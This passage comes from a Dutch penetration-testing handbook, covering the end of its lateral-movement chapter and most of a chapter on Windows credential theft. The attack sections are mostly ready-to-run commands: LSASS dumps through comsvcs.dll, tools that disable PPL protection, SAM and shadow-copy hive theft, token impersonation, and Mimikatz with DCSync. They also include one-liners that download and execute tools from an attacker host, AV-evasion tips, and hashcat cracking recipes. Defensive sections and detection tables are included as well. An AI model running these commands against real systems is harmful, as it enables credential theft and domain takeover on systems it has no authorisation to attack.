  5. Verkeerde credentials: Je gebruikt credentials van machine A op machine B, maar het account heeft daar geen admin-rechten. Nu heb je een failed logon event gegenereerd dat een SOC-analyst kan oppikken.
  6. Tijdzones negeren: Als je om 03:00 ’s nachts laterale beweging uitvoert in een organisatie die van 09:00-17:00 werkt, valt dat op. Werk binnen kantooruren als je stealthy wilt zijn.

9.13 Referentietabel

Onderwerp IB Command Poorten Vereisten Stealth
WMI lateral movement lateral_wmi 135 + dynamisch Local admin, RPC Gemiddeld
WinRM / Evil-WinRM lateral_winrm 5985, 5986 WinRM actief, admin Gemiddeld
PowerShell Remoting lateral_psremoting 5985, 5986 WinRM actief, admin Gemiddeld
DCOM (MMC, Shell) lateral_dcom 135 + dynamisch Local admin, DCOM aan Hoog
DCOM Excel lateral_dcom_excel 135 + dynamisch Local admin, Office Hoog
SCM service abuse lateral_scm 445, 135 Local admin, SMB Laag
PsExec download get_psexec64 445, 135 Local admin, ADMIN$ Laag

Externe tools referentie

Tool Platform Gebruik Download
Evil-WinRM Linux/macOS WinRM shell met PtH, upload, modules gem install evil-winrm
Impacket Linux/macOS SMB, WMI, DCOM, Kerberos, PsExec pip install impacket
Rubeus Windows Kerberos ticket manipulatie Compileer vanuit source
PowerView Windows AD enumeratie, Find-LocalAdminAccess Import-Module PowerView.ps1
CrackMapExec Linux/macOS Multi-protocol lateral movement apt install crackmapexec

Event IDs snelreferentie

Event ID Log Betekenis Relevant voor
4624 (Type 3) Security Netwerk logon Alle methoden
4648 Security Explicit credentials Alle methoden
7045 System Service geinstalleerd PsExec, SCM
4697 Security Service geinstalleerd PsExec, SCM
5140 Security Share access PsExec (ADMIN$)
5857 WMI-Activity WMI provider geladen WMI
4103/4104 PowerShell Script Block Logging PS Remoting
Sysmon 1 Sysmon Process creation Alle methoden
Sysmon 3 Sysmon Network connection Alle methoden

9.14 Samenvatting

Laterale beweging is waar een pentest echt begint. Het is het moment waarop je van “ik heb een voet tussen de deur” gaat naar “ik bezit het netwerk.” De technieken zijn gevarieerd – van het stille WMI en DCOM tot het luidruchtige PsExec – maar ze hebben allemaal één ding gemeen: ze vereisten lokale admin-rechten en ongesegmenteerde netwerken.

De verdediging is even simpel als onpopulair: segmenteer je netwerk, beperk admin-rechten, gebruik Credential Guard en LAPS, en monitor wat er binnen je netwerk gebeurt. Maar dat vereist geld, tijd, en de bereidheid om “nee” te zeggen tegen gebruikers die klagen over connectiviteitsproblemen.

In het volgende hoofdstuk gaan we kijken naar wat je steelt als je eenmaal op een machine staat. Want laterale beweging zonder credentials is als een auto zonder benzine: je kunt erin zitten, maar je gaat nergens naartoe.

Volgende: Hoofdstuk 10 – Credential Access

Credential Access

Credential Access

De sleutelbos van de conciërge

Er is een mooi verschijnsel dat je kunt observeren in elk groot kantoorgebouw: de conciërge. Die ene persoon die een sleutelbos heeft waar je jaloers op wordt. Elke deur, elke kast, elk trappenhuis, de serverruimte, het dak – hij kan overal komen. En die sleutelbos hangt aan zijn riem, zichtbaar voor iedereen, trots gedragen als een medaille.

In Windows-netwerken is LSASS die conciërge. Het Local Security Authority Subsystem Service-proces draait op elke Windows-machine en bewaart de credentials van iedereen die heeft ingelogd. Wachtwoorden, hashes, Kerberos tickets – alles zit daar. En net als die sleutelbos, is het verrassend toegankelijk voor wie weet waar hij moet kijken.

Dit hoofdstuk gaat over het stelen van credentials. Het is het smerigste, het meest effectieve, en tegelijkertijd het meest vermijdbare onderdeel van een aanval. Want als organisaties hun credentials goed zouden beschermen, zou het merendeel van wat we in hoofdstuk 9 bespraken simpelweg niet werken. Maar ze doen het niet. Omdat – en hier komt de eeuwige waarheid – wachtwoorden makkelijk zijn, mensen lui zijn, en “we regelen het volgende kwartaal” de meest uitgesproken zin in IT-beveiliging is.

10.1 Waarom credential access de heilige graal is

Laten we een stap terug doen. In hoofdstuk 9 hebben we gezien hoe je van machine naar machine beweegt. Maar elke techniek vereist credentials: een wachtwoord, een hash, of een Kerberos ticket. Zonder credentials ga je nergens naartoe. Je zit vast op je ene gecompromitteerde werkstation als een toerist die zijn paspoort kwijt is.

Credential access verandert dat. Met de juiste credentials kun je:

Het is een multiplicator-effect. Eén set gestolen credentials kan leiden tot tien, honderd, duizend gecompromitteerde systemen. Het is de nucleaire optie van penetratietesten.

In MITRE ATT&CK-termen zitten we in Credential Access (TA0006). De belangrijkste technieken:

Techniek MITRE ID Bron
LSASS Memory Dump T1003.001 Proces geheugen
SAM Database T1003.002 Registry hives
Token Impersonation T1134.001 Draaiende processen
Cached Credentials T1003.005 Registry
Credential Managers T1555 Applicatie-opslag

10.2 LSASS – De goudmijn in het geheugen

Waarom LSASS alles bevat

LSASS (Local Security Authority Subsystem Service) is het proces dat verantwoordelijk is voor authenticatie op Windows. Elke keer dat iemand inlogt – interactief, via RDP, via een service – worden de credentials gecached in het LSASS-procesgeheugen.

En met “credentials” bedoel ik niet alleen een hash. Afhankelijk van de configuratie vind je:

Het is alsof iemand een kluis heeft gebouwd en vervolgens alle sleutels in de kluis heeft gelegd. Met de deur open.

Het is eigenlijk een fascinerend stukje software-engineering. Het probleem is niet dat LSASS credentials cached – dat is functioneel noodzakelijk voor Single Sign-On. Het probleem is dat Microsoft jarenlang dacht dat “de aanvaller heeft geen admin-rechten” een voldoende beveiligingsgrens was. Spoiler: dat was het niet.

De comsvcs.dll methode – Living off the land

De elegantste manier om LSASS te dumpen gebruikt geen enkele externe tool. Alleen wat Windows zelf aanbiedt:

:: Stap 1: Vind het LSASS Process ID
tasklist /fi "imagename eq lsass.exe"

Image Name                     PID Session Name
========================= ======== ================
lsass.exe                      672 Services
:: Stap 2: Dump via rundll32 + comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 672 C:\Windows\tasks\lsass.dmp full

Of de PowerShell-variant die de PID automatisch ophaalt:

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp full

Dat is het. Twee regels. Geen externe tools. Alleen rundll32.exe en een DLL die op elke Windows-machine staat. Het is alsof de inbreker de koevoet vindt die naast de voordeur staat.

IB – Het cred_minidump command in IB genereert beide varianten: de handmatige PID-lookup en de PowerShell one-liner. IB herinnert je eraan dat AV steeds beter wordt in het detecteren van comsvcs.dll dumps. Overweeg om comsvcs.dll naar een ander pad te kopieren om string-based detectie te omzeilen.

Stap 3: Offline extractie

De dump zelf bevat ruwe geheugenpagina’s. Om er credentials uit te halen, gebruik je Mimikatz op je eigen machine:

mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

Dit is de veiligere aanpak: je draait Mimikatz niet op het doelsysteem (waar het gedetecteerd kan worden), maar op je eigen machine. De dump download je via je C2-kanaal of via SMB.

LSASS Protected Process Light (PPL)

Microsoft wist dat LSASS een doelwit was en heeft RunAsPPL geintroduceerd – Protected Process Light. Als PPL actief is, kunnen zelfs processen met SYSTEM-rechten niet zomaar het geheugen van LSASS lezen.

Controleer of PPL actief is:

Get-Process lsass | Format-List *protect*

Als PPL actief is, heb je zwaardere middelen nodig:

:: Methode 1: PPLdump (exploits LSASS PPL protection)
.\PPLdump.exe lsass.exe C:\Windows\tasks\lsass.dmp

:: Methode 2: Via Mimikatz driver (mimidrv.sys)
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # sekurlsa::logonpasswords

:: Methode 3: PPLKiller (kernel driver exploit)
.\PPLKiller.exe /installDriver
.\PPLKiller.exe /disablePPL lsass
.\PPLKiller.exe /uninstallDriver

Na het uitschakelen van PPL kun je de normale dump-methode gebruiken:

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp full

IB – Het cred_lsass_ppldump command bevat alle vier methoden om PPL te omzeilen: PPLdump, Mimikatz driver, PPLKiller, en SafetyKatz. SafetyKatz is bijzonder handig: het doet een MiniDumpWriteDump in-memory met een ingebouwde AMSI bypass. Je laadt het via de IB Loader:

C:\Users\Public\Loader.exe -path http://10.0.0.1/tools/SafetyKatz.exe

Methode 4: SafetyKatz – De moderne aanpak

SafetyKatz combineert het beste van twee werelden: het maakt een minidump in geheugen (zonder naar schijf te schrijven) en parseert de credentials direct. Geen bestanden op de schijf, geen extra download, alles in-memory:

C:\Users\Public\Loader.exe -path http://10.0.0.1/tools/SafetyKatz.exe

De Loader downloadt SafetyKatz, voert het uit in geheugen, en je krijgt de credentials direct terug. Het is de stealth-variant voor wanneer je geen dumpbestanden op de schijf wilt achterlaten.

Detectie

LSASS dumps zijn een van de best gedetecteerde aanvalstechnieken – als je de juiste monitoring hebt:

Het probleem is dat “als je de juiste monitoring hebt” een groot voorbehoud is. De meeste organisaties hebben Sysmon niet geinstalleerd, laat staan geconfigureerd om LSASS-access te monitoren. Ze vertrouwen op hun AV, en hun AV vertrouwt op signatures die zes maanden achter de feiten aanlopen.

10.3 SAM Database – De lokale schatkamer

Wat is de SAM?

De Security Account Manager (SAM) database bevat de wachtwoordhashes van alle lokale accounts op een Windows-machine. Niet de domain accounts – die staan op de domain controller in NTDS.dit. Maar de lokale accounts: Administrator, Guest, en alle custom lokale accounts die iemand ooit heeft aangemaakt.

“Maar lokale accounts zijn toch niet interessant?” hoor ik je denken. Fout. Om twee redenen:

  1. Wachtwoord hergebruik: Als het lokale admin-wachtwoord op machine A hetzelfde is als op machine B (en dat is het bijna altijd als LAPS niet wordt gebruikt), dan heb je met één hash toegang tot alle machines met hetzelfde wachtwoord.

  2. Cached domain credentials: De SAM bevat ook gecachte domain credentials voor offline authenticatie. Als iemand met een domain account heeft ingelogd op deze machine, staat daar een hash van.

Registry hive dump

De SAM is opgeslagen als registry hive. Om hem te dumpen heb je drie bestanden nodig:

:: Vereiste: Local admin rechten
reg save HKLM\SAM C:\Windows\tasks\sam.bak
reg save HKLM\SYSTEM C:\Windows\tasks\system.bak
reg save HKLM\SECURITY C:\Windows\tasks\security.bak

Dat is het. Drie commando’s. Geen tools nodig. De SYSTEM hive bevat de encryptiesleutel die nodig is om de hashes in de SAM hive te ontsleutelen. De SECURITY hive bevat cached domain credentials en LSA secrets.

IB – Het cred_sam_dump command in IB genereert de drie reg save commando’s met de juiste paden. IB herinnert je eraan dat je ook de Volume Shadow Copy-methode kunt gebruiken als reg save geblokkeerd is.

Offline extractie

Download de drie bestanden naar je aanvalsmachine en gebruik Impacket’s secretsdump.py:

python3 secretsdump.py -sam sam.bak -system system.bak -security security.bak LOCAL

Output:

[*] Target system bootKey: 0xabcdef1234567890abcdef1234567890
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
svc_backup:1001:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
[*] Dumping cached domain logon information (domain/username:hash)
CORP.LOCAL/admin.vanderberg:$DCC2$10240#admin.vanderberg#a9f...

Of met Mimikatz:

mimikatz # lsadump::sam /sam:sam.bak /system:system.bak

Volume Shadow Copy als alternatief

Soms is reg save geblokkeerd door EDR of AppLocker. In dat geval kun je Volume Shadow Copies gebruiken:

:: Maak een shadow copy aan
wmic shadowcopy call create Volume='C:\'

:: Kopieer SAM uit de shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Windows\tasks\sam.bak
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\tasks\system.bak
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Windows\tasks\security.bak

Dit omzeilt de file lock die het besturingssysteem op de registry hives heeft. Het is een beetje alsof je een fotokopie maakt van een document dat in een afgesloten la ligt – je hoeft de la niet te openen, je kopieert gewoon de inhoud via een omweg.

Detectie

10.4 Token Impersonation – Iemand anders zijn

Tokens in Windows

Elk proces in Windows draait met een access token dat bepaalt wie dat proces “is” en welke rechten het heeft. Er zijn twee soorten tokens die relevant zijn:

Als je SYSTEM-rechten hebt op een machine, kun je elk token op die machine stelen en gebruiken. Je wordt letterlijk een andere gebruiker. Het is identiteitsdiefstal op OS-niveau.

Rubeus – Token triage

Rubeus is primair een Kerberos-tool (zie hoofdstuk 8), maar de triage-functie is handig om te zien welke tickets beschikbaar zijn:

.\Rubeus.exe triage

Output toont alle Kerberos tickets in het geheugen van alle sessies. Als je een ticket ziet van een domain admin, kun je het extraheren en injecteren:

:: Ticket extraheren
.\Rubeus.exe dump /luid:0x12345 /nowrap

:: Ticket injecteren in je sessie (Pass-the-Ticket)
.\Rubeus.exe ptt /ticket:BASE64_TICKET_HERE

Incognito – Token impersonation

Incognito is de klassieke tool voor token impersonation:

:: Lijst alle beschikbare tokens
.\incognito.exe list_tokens -u

Delegation Tokens Available
========================================
CORP\admin.vanderberg
CORP\jdejong
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
CORP\svc_backup
:: Impersonate een token
.\incognito.exe execute -c "CORP\admin.vanderberg" cmd.exe

En plotseling heb je een cmd.exe die draait als CORP\admin.vanderberg. Zonder ooit zijn wachtwoord of hash te kennen. Je hebt gewoon zijn token gestolen – het digitale equivalent van iemands badge lenen en door de beveiligingspoort lopen.

Mimikatz token elevation

Mimikatz kan ook tokens manipuleren:

# Token elevatie naar SYSTEM + credential dump
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords"'

# Specifieke user impersonaten
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate /domainadmin" "token::run /process:cmd.exe"'

De token::elevate /domainadmin variant zoekt specifiek naar een token van een domain admin op het systeem. Als er een gevonden wordt, krijg je een cmd.exe als die domain admin.

IB – Het cred_token_impersonate command in IB biedt vier methoden: Rubeus triage, Incognito, Mimikatz token elevation, en PowerShell native. Het bevat ook uitleg over het verschil tussen delegation en impersonation tokens: - Delegation = interactieve logons (RDP, runas) – krachtigst - Impersonation = netwerk logons (drive mappings) – beperkter

Wanneer vind je welk token?

Scenario Token type Voorbeeld
Admin logt in via RDP Delegation Krachtigst, volledig herbruikbaar
Mapped network drive Impersonation Beperkt, maar bruikbaar op lokale machine
Scheduled task draait Delegation Als de task als specifieke user draait
Service account Delegation Als de service als domain user draait

De gouden regel: als een domain admin ooit interactief heeft ingelogd op de machine waarop jij staat, dan is zijn delegation token beschikbaar. En dat token verloopt pas als het systeem wordt herstart of de gebruiker expliciet uitlogt (niet alleen zijn sessie sluit).

Daarom zijn jump-hosts zo belangrijk: als admins via een jump-host werken in plaats van direct op servers in te loggen, beperken ze het aantal machines waarop hun tokens achterblijven.

10.5 Mimikatz – De diepere duik

Het gereedschap dat de wereld veranderde

Er zijn weinig tools die zo’n impact hebben gehad op de beveiligingsindustrie als Mimikatz. Benjamin Delpy schreef het oorspronkelijk als proof-of-concept om te laten zien dat Windows credentials onveilig waren. Microsoft’s reactie was niet om het probleem op te lossen, maar om Delpy te vragen om het niet openbaar te maken.

Hij deed het toch. En de rest is geschiedenis.

Mimikatz is niet één tool – het is een Zwitsers zakmes van credential-aanvallen. Laten we de belangrijkste modules doorlopen.

Mimikatz downloaden via IB

Eerst moet je Mimikatz op het doelsysteem krijgen. IB biedt twee methoden:

Via certutil (het mimikatz command):

cd C:\Windows\tasks && certutil -urlcache -f http://127.0.0.1/tools/mimikatz.exe mimi.exe

Via PowerShell (het psmimikatz command):

powershell -c (new-object System.Net.WebClient).DownloadFile('http://127.0.0.1/tools/mimi/mimikatz.exe','c:\windows\tasks\mimi.exe')

IB – De mimikatz en psmimikatz commands downloaden Mimikatz naar C:\Windows\tasks\mimi.exe. IB host het bestand op de ingebouwde HTTP server. Let op: het IP-adres staat op 127.0.0.1 – dit veronderstelt dat IB draait op dezelfde machine of dat je port forwarding hebt ingesteld. Pas het adres aan naar je eigen IP.

Merk op dat we het bestand hernoemen naar mimi.exe. Het is een kleine OPSEC-maatregel: sommige AV-producten triggeren op de bestandsnaam mimikatz.exe zonder de inhoud te controleren. Dat is alsof de politie een dief laat lopen omdat hij een pet opheeft.

sekurlsa::logonpasswords – De klassieker

Dit is het commando dat iedereen kent:

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

Output (verkort):

Authentication Id : 0 ; 12345678 (00000000:00bc614e)
Session           : Interactive from 1
User Name         : admin.vanderberg
Domain            : CORP
Logon Server      : DC01
Logon Time        : 2024-01-15 09:23:15

        msv :
         [00000003] Primary
         * Username : admin.vanderberg
         * Domain   : CORP
         * NTLM     : e53d87d42adaa3ca32bdb34a876cbffb
         * SHA1     : a4f49c406510bdcab6824ee7c30fd852e049b510

        wdigest :
         * Username : admin.vanderberg
         * Domain   : CORP
         * Password : (null)

        kerberos :
         * Username : admin.vanderberg
         * Domain   : CORP.LOCAL
         * Password : (null)

Op moderne systemen (Windows 10+, Server 2016+) zul je zien dat WDigest en Kerberos (null) tonen voor het wachtwoord. Dat is omdat Microsoft WDigest standaard heeft uitgeschakeld. Maar de NTLM hash is er altijd. En met die hash kun je Pass-the-Hash doen (zie hoofdstuk 9).

sekurlsa::wdigest – Plaintext wachtwoorden

Op oudere systemen, of als iemand de registry key UseLogonCredential heeft ingeschakeld (wat vaker voorkomt dan je zou hopen, meestal vanwege legacy-applicaties), kun je plaintext wachtwoorden ophalen:

mimikatz # sekurlsa::wdigest

Als WDigest is ingeschakeld, zie je het wachtwoord in cleartext. Geen hash, geen encryptie, gewoon het wachtwoord. Het is alsof je de kluis openmaakt en er een Post-it in vindt met het wachtwoord erop geschreven.

Om WDigest handmatig in te schakelen (als aanvaller, voor persistentie):

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Na de volgende interactieve logon wordt het wachtwoord in cleartext gecached. Dit is een bekende techniek voor persistentie: je schakelt WDigest in, wacht tot de gebruiker opnieuw inlogt, en haalt het wachtwoord op.

lsadump::sam – Lokale hashes

mimikatz # lsadump::sam

Dit doet hetzelfde als de reg save methode die we in sectie 10.3 bespraken, maar dan direct in geheugen. Geen bestanden op schijf, geen reg save commando’s die EDR kan detecteren.

lsadump::dcsync – De nucleaire optie

DCSync is de krachtigste Mimikatz-module. Het simuleert het gedrag van een domain controller die replicatie aanvraagt. In mensentaal: Mimikatz doet alsof het een DC is en vraagt de echte DC: “Hé, stuur me even alle wachtwoordhashes.”

mimikatz # lsadump::dcsync /user:CORP\krbtgt
mimikatz # lsadump::dcsync /user:CORP\Administrator
mimikatz # lsadump::dcsync /all /csv

DCSync vereist Replicating Directory Changes en Replicating Directory Changes All rechten. Standaard hebben alleen Domain Admins en de DC-machine accounts deze rechten. Maar als je die rechten hebt (of ze via ACL abuse hebt verkregen, zie hoofdstuk 7), dan heb je toegang tot elke hash in het domein.

Met de krbtgt hash kun je Golden Tickets maken (hoofdstuk 8). Met de Administrator hash kun je Pass-the-Hash naar elke machine. Met /all /csv dump je het hele domein in één keer.

PowerShell Invoke-Mimikatz

Als je Mimikatz niet als executable wilt draaien (omdat AV het detecteert), kun je het in PowerShell laden:

# Reflective PE injection -- Mimikatz draait volledig in geheugen
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

# DCSync via PowerShell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:CORP\krbtgt"'

# Token elevation + credential dump
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords"'

De PowerShell-variant laadt Mimikatz volledig in geheugen via reflective PE injection. Er komt geen mimikatz.exe op de schijf. Het is onzichtbaar voor file-based AV. Maar niet voor AMSI – daarom heb je de AMSI bypass uit hoofdstuk 4 nodig.

Mimikatz detectie

Mimikatz is de meest gedetecteerde offensive tool ter wereld. AV-signatures, EDR-regels, YARA-rules – alles zoekt naar Mimikatz. Maar:

De detectie-armsrace is een eindeloze cyclus. Microsoft patcht, Delpy past aan. AV-leveranciers schrijven signatures, pentesters wijzigen strings. Het is als een kat-en-muis-spel, behalve dat de kat soms vergeet dat er een muis is.

10.6 LaZagne – De brede aanpak

Meer dan alleen Windows credentials

LaZagne is de stofzuiger van credential-tools. Waar Mimikatz zich richt op Windows authenticatie-geheugen, doorzoekt LaZagne alles: browsers, email clients, WiFi-configuraties, database tools, sysadmin tools, en meer.

Download LaZagne via IB:

powershell -c (new-object System.Net.WebClient).DownloadFile('http://10.0.0.1/tools/lazagne.exe','c:\windows\tasks\lazagne.exe')

IB – Het get_lazagne command downloadt LaZagne naar C:\Windows\tasks\lazagne.exe. IB host het bestand op de ingebouwde HTTP server.

Gebruik

:: Alle modules draaien
C:\Windows\tasks\lazagne.exe all

:: Alleen browsers
C:\Windows\tasks\lazagne.exe browsers

:: Alleen WiFi wachtwoorden
C:\Windows\tasks\lazagne.exe wifi

:: Alleen sysadmin tools (PuTTY, FileZilla, WinSCP, etc.)
C:\Windows\tasks\lazagne.exe sysadmin

Wat vindt LaZagne?

Categorie Applicaties
Browsers Chrome, Firefox, Edge, Opera, IE – opgeslagen wachtwoorden en cookies
Email Outlook, Thunderbird, Windows Mail
WiFi Alle opgeslagen WiFi-netwerken met wachtwoorden
Sysadmin PuTTY, FileZilla, WinSCP, OpenSSH, Remote Desktop
Database SQLDeveloper, Robomongo, DBVisualizer
Windows Credential Manager, Vault, autologon
Git Git credentials opgeslagen via credential manager

De output is vaak verrassend. Systeembeheerders die PuTTY gebruiken om naar productieservers te SSH’en en hun wachtwoorden opslaan. Ontwikkelaars die database-credentials hebben opgeslagen in hun SQL-client. De IT-helpdesk die WiFi-wachtwoorden heeft opgeslagen op gedeelde werkstations.

Mensen klagen dat hackers hun wachtwoorden stelen, maar ze bewaren ze letterlijk in een bestand genaamd ‘opgeslagen wachtwoorden.’ Dat is niet stelen, dat is ophalen.

Praktijkvoorbeeld

Een typische LaZagne-run op een werkstation van een systeembeheerder:

[+] Password found !!!
URL: https://git.corp.local
Login: admin.vanderberg
Password: W1nt3rIsComing!

[+] Password found !!!
Software: PuTTY
Hostname: 10.10.10.50
Username: root
Password: Sup3rS3cret!

[+] Password found !!!
Software: WinSCP
Hostname: 10.10.10.60
Username: deploy
Password: D3pl0y2024!!

[+] Password found !!!
SSID: CORP-WiFi
Password: WelkomBijCorpWiFi!

Vier wachtwoorden. Eén commando. Geen exploits, geen privilege escalation, geen fancy technieken. Gewoon opgeslagen wachtwoorden ophalen. En je kunt wedden dat minstens één van die wachtwoorden ook ergens anders wordt hergebruikt.

Detectie

LaZagne is minder gedetecteerd dan Mimikatz, maar:

10.7 Offline cracking – Van hash naar wachtwoord

Waarom offline cracken?

Je hebt hashes. Mooi. Met NTLM hashes kun je Pass-the-Hash doen en dat is vaak voldoende. Maar soms wil je het daadwerkelijke wachtwoord:

Hashcat

Hashcat is de industriestandaard voor wachtwoord-cracking. Het gebruikt je GPU voor massale parallelle berekeningen:

# NTLM hash kraken met woordenlijst
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# Met regels (toevoegen van cijfers, speciale tekens, etc.)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Mask attack: wachtwoord + 4 cijfers + speciaal teken
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?l?d?d?d?d?s

# DCC2 (cached domain credentials) -- veel langzamer
hashcat -m 2100 dcc2_hashes.txt /usr/share/wordlists/rockyou.txt

Hash types die je tegenkomt:

Hashcat mode Type Snelheid
1000 NTLM Extreem snel (~100 GH/s op RTX 4090)
2100 DCC2 (cached creds) Langzaam (~1 MH/s)
13100 Kerberoast (TGS-REP) Langzaam-gemiddeld
18200 AS-REP roast Langzaam-gemiddeld
3200 bcrypt Extreem langzaam

John the Ripper

John is de alternatieve cracker met enkele voordelen: betere regelverwerking, meer hash-formaten out of the box, en het draait goed op CPU als je geen krachtige GPU hebt:

# NTLM kraken
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Met regels
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64

# Resultaten tonen
john --format=NT hashes.txt --show

Slimme regels

Het verschil tussen een mediocre en een goede cracker zit in de regels. Wachtwoordbeleid in Nederlandse organisaties leidt tot voorspelbare patronen:

# Nederlandse patronen:
# Welkom01! → hoofdletter + woord + cijfers + speciaal teken
# Zomer2024! → seizoen + jaar + speciaal teken
# Amsterdam1! → stad + cijfer + speciaal teken
# Bedrijfsnaam01! → bedrijf + cijfers + speciaal teken

Maak een custom woordenlijst met:

# Seizoenen, maanden, bedrijfsnaam, steden
cat << 'EOF' > custom_words.txt
Welkom
Wachtwoord
Winter
Zomer
Lente
Herfst
Januari
Februari
Amsterdam
Rotterdam
Utrecht
CompanyName
EOF

# Combineer met regels
hashcat -m 1000 hashes.txt custom_words.txt -r /usr/share/hashcat/rules/best64.rule

Je zou verbaasd zijn – of eigenlijk niet verbaasd, want het is deprimerend voorspelbaar – hoeveel wachtwoorden in Nederlandse organisaties een seizoen of maand bevatten, gevolgd door het huidige jaar en een uitroepteken. “Herfst2025!” is technisch gezien een sterk wachtwoord: 12 tekens, hoofdletter, kleine letters, cijfers, speciaal teken. Maar het is ongeveer zo origineel als “Welkom01!”.

10.8 Verdediging – Credentials beschermen

Credential Guard

Dit is de single most effective maatregel tegen credential theft. Windows Credential Guard gebruikt virtualization-based security (VBS) om LSASS te isoleren in een aparte Hyper-V container. Zelfs SYSTEM-processen kunnen niet bij de credentials.

Met Credential Guard: - Mimikatz sekurlsa::logonpasswords faalt - LSASS dumps bevatten geen bruikbare credentials - Pass-the-Hash is sterk beperkt

Vereisten: - UEFI Secure Boot - TPM 2.0 (aanbevolen) - Windows 10 Enterprise / Education, of Server 2016+ - Geen legacy-applicaties die NTLM v1 of WDigest vereisen

Dat laatste punt is de reden waarom veel organisaties het niet implementeren. Er is altijd die ene legacy-applicatie uit 2008 die alleen met NTLM v1 werkt en die “business critical” is. En dus blijft Credential Guard op de roadmap. Jaar na jaar na jaar.

LAPS – Local Administrator Password Solution

LAPS zorgt ervoor dat elk werkstation een uniek, willekeurig lokaal admin-wachtwoord heeft dat regelmatig wordt geroteerd. De wachtwoorden worden opgeslagen in Active Directory en zijn alleen leesbaar voor geautoriseerde accounts.

Zonder LAPS: als je het lokale admin-wachtwoord van één werkstation hebt, heb je ze allemaal. Met LAPS: als je het lokale admin-wachtwoord van één werkstation hebt, heb je precies dat werkstation.

Het verschil is het verschil tussen het stelen van een loper en het stelen van een enkele sleutel.

# Controleer of LAPS is geconfigureerd (als aanvaller)
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Where-Object {$_.'ms-Mcs-AdmPwd' -ne $null}

# Als je de LAPS wachtwoorden kunt lezen (vereist rechten)
Get-ADComputer -Identity WS01 -Properties ms-Mcs-AdmPwd | Select-Object Name, ms-Mcs-AdmPwd

Protected Users group

De Protected Users security group is een onderschatte verdedigingsmaatregel. Leden van deze groep:

Voeg alle gevoelige accounts toe: domain admins, enterprise admins, service accounts met hoge rechten.

# Voeg een account toe aan Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members "admin.vanderberg"

Tiered Administration Model

De meest fundamentele maar minst geimplementeerde verdediging: een gelaagd beheersmodel.

De logica is simpel: een domain admin mag nooit inloggen op een werkstation. Als hij dat doet, laat hij credentials achter die gestolen kunnen worden. Door strikte scheiding tussen tiers voorkom je dat een gecompromitteerd werkstation leidt tot domain compromise.

Maar tiered administration is lastig, onpopulair bij systeembeheerders (“ik wil niet steeds van account wisselen”), en vereist discipline. Het is alsof je mensen vertelt dat ze hun autosleutels niet op de keukentafel moeten laten liggen. Iedereen snapt het, niemand doet het.

10.9 Het wachtwoord-hergebruik-probleem – De ongemakkelijke waarheid

Laat me even een statistiek delen die me elke keer weer verbijstert. In mijn ervaring – en dit is anekdotisch maar consistent – hergebruikt minimaal 60% van de gebruikers in een gemiddelde organisatie hun wachtwoord op meerdere systemen. Het lokale admin-wachtwoord is hetzelfde op 80% van de werkstations. En de domain admin heeft hetzelfde wachtwoord als zijn persoonlijke Gmail-account.

We weten al twintig jaar dat wachtwoord hergebruik een probleem is. We hebben password managers, we hebben MFA, we hebben biometrische authenticatie, we hebben passkeys. En toch, in 2026, is het meest voorkomende lokale admin-wachtwoord in Nederlandse bedrijven iets als “Welkom01!” of de naam van het bedrijf gevolgd door het jaar.

We noemen het een wachtwoord. Eén woord. Eén geheim dat alles beschermt. En wat doen mensen? Ze schrijven het op een Post-it en plakken het op hun monitor. Dat is geen wachtwoord, dat is een welkomstbord.”

Het grappige is dat organisaties miljoenen uitgeven aan firewalls, SIEM’s, SOC’s, en threat intelligence feeds. En dan logt de CFO in met “Welkom01!” op zijn werkstation, zijn VPN, zijn email, en zijn bankrekening. Al die miljoenen aan beveiliging worden irrelevant door zes toetsaanslagen en een gebrek aan verbeeldingskracht.

De oplossing is niet technisch. De technologie bestaat. Password managers werken. MFA werkt. Credential Guard werkt. De oplossing is organisatorisch: het management moet besluiten dat beveiliging prioriteit heeft boven gemak. En dat is het probleem. Want gemak wint altijd. Gemak is de dood van beveiliging. En beveiliging is het ongewenste kind van IT – iedereen weet dat het bestaat, niemand wil ervoor betalen, en als er iets misgaat is het ineens ieders probleem.

10.10 Praktische walkthrough – Van LSASS naar domain admin

